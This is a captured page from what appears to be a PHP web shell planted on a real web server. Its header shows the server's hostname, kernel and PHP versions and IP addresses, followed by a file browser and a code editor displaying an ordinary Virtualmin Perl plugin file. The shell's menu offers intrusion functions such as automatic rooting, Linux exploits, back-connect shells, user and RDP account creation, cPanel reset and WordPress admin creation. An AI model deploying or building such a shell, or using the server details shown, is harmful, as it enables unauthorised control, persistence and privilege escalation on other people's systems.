Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
vendor_perl /
Virtualmin /
Config /
[ HOME SHELL ]
Name
Size
Permission
Action
Plugin
[ DIR ]
drwxr-xr-x
Dummy.pm
243
B
-rw-r--r--
LAMP.pm
1.04
KB
-rw-r--r--
LEMP.pm
1.04
KB
-rw-r--r--
MiniLAMP.pm
843
B
-rw-r--r--
MiniLEMP.pm
842
B
-rw-r--r--
Plugin.pm
2.95
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Plugin.pm
package Virtualmin::Config::Plugin; use strict; use warnings; use 5.010_001; use Time::HiRes qw( sleep ); # Plugin base class, just runs stuff with spinner and status use Virtualmin::Config; use Term::ANSIColor qw(:constants); use Term::Spinner::Color; # TODO I don't like this, but can't figure out how to put it into # $self->{spinner} our $spinner; our $trust_unknown_referers = 1; our $error_must_die = 1; our $count = 1; my $log = Log::Log4perl->get_logger("virtualmin-config-system"); sub new { my ($class, %args) = @_; my $self = { name => $args{name}, depends => $args{depends}, total => $args{total}, bundle => $args{bundle} }; bless $self, $class; return $self; } # Plugin short name, used in config definitions sub name { my ($self, $name) = @_; if ($name) { $self->{name} = $name } return $self->{name}; } # Return a ref to an array of plugins that have to run before this one. # Dep resolution is very stupid. Don't do anything complicated. sub depends { my ($self, $name) = @_; if ($name) { $self->{depends} = shift } return $self->{depends}; } # Total number of plugins being run for running count sub total { my ($self, $total) = @_; if ($total) { $self->{total} = shift } return $self->{total}; } sub bundle { my ($self, $bundle) = @_; if ($bundle) { $self->{bundle} = shift } return $self->{bundle}; } sub spin { my $self = shift; my $name = $self->name(); my $message = shift // "Configuring " . $name; $log->info($message); $spinner = Term::Spinner::Color->new(); $message = "[" . YELLOW . $count . RESET . "/" . GREEN . $self->total() . RESET . "] " . $message; my $color_correction = length(YELLOW . RESET . GREEN . RESET); $count++; $message = $message . " " x (79 - length($message) - $spinner->{'last_size'} + $color_correction); print $message; $spinner->auto_start(); } sub done { my $self = shift; my $res = shift; $spinner->auto_done(); if ($res == 1) { # Success! $log->info("Succeeded"); $spinner->ok(); } elsif ($res == 2) { # Not quite OK $log->warn("Non-fatal error"); $spinner->meh(); } else { # Failure! $log->warn("Failed"); $spinner->nok(); } } sub root { my $self = shift; $ENV{'WEBMIN_CONFIG'} ||= "/etc/webmin"; $ENV{'WEBMIN_VAR'} ||= "/var/webmin"; $ENV{'MINISERV_CONFIG'} = $ENV{'WEBMIN_CONFIG'} . "/miniserv.conf"; open(my $CONF, "<", "$ENV{'WEBMIN_CONFIG'}/miniserv.conf") || die RED, "Failed to open miniserv.conf", RESET; my $root; while (<$CONF>) { if (/^root=(.*)/) { $root = $1; } } close($CONF); $root ||= "/usr/libexec/webmin"; return $root; } # logsystem(command) # Similar to system() or backticks but with logging. # Runs a single system command, and returns the result code. sub logsystem { my $self = shift; my $cmd = shift; my $res = `$cmd 2>&1` // "[]"; $log->info("Code: $? Result: $res"); return $?; } 1;
Close